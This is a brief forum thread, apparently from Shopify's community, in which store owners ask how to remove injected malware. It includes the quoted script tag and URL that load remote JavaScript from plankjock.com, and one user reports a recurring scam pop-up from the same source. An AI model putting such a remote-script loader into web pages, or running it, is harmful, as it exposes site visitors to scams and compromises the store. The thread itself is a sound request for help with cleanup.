Please help! remove malware from shopify store!!

[ivanmunoz]

We detected a malware software on our site and we can't delete it, you can tell us how remove it?

It's a malware called plankjock.com

<script type=“text/javascript” async=“” src=“//plankjock.com/20c1f9347f59cf976e.js”></script>

https://plankjock.com/20c1f9347f59cf976e.js

Thanks in advance

[Qualitycheck]

Hi @ivanmunoz 

It could be inserted via some app as Shopify usually doesn't have any malware.

Please provide your website URL and also list of apps that have been installed.

[Rachel3]

I'm having this same issue from the same source. I can remove the code on a listing itself to get rid of the scam pop-up, but it keeps coming back. Shopify has done NOTHING to help with this issue.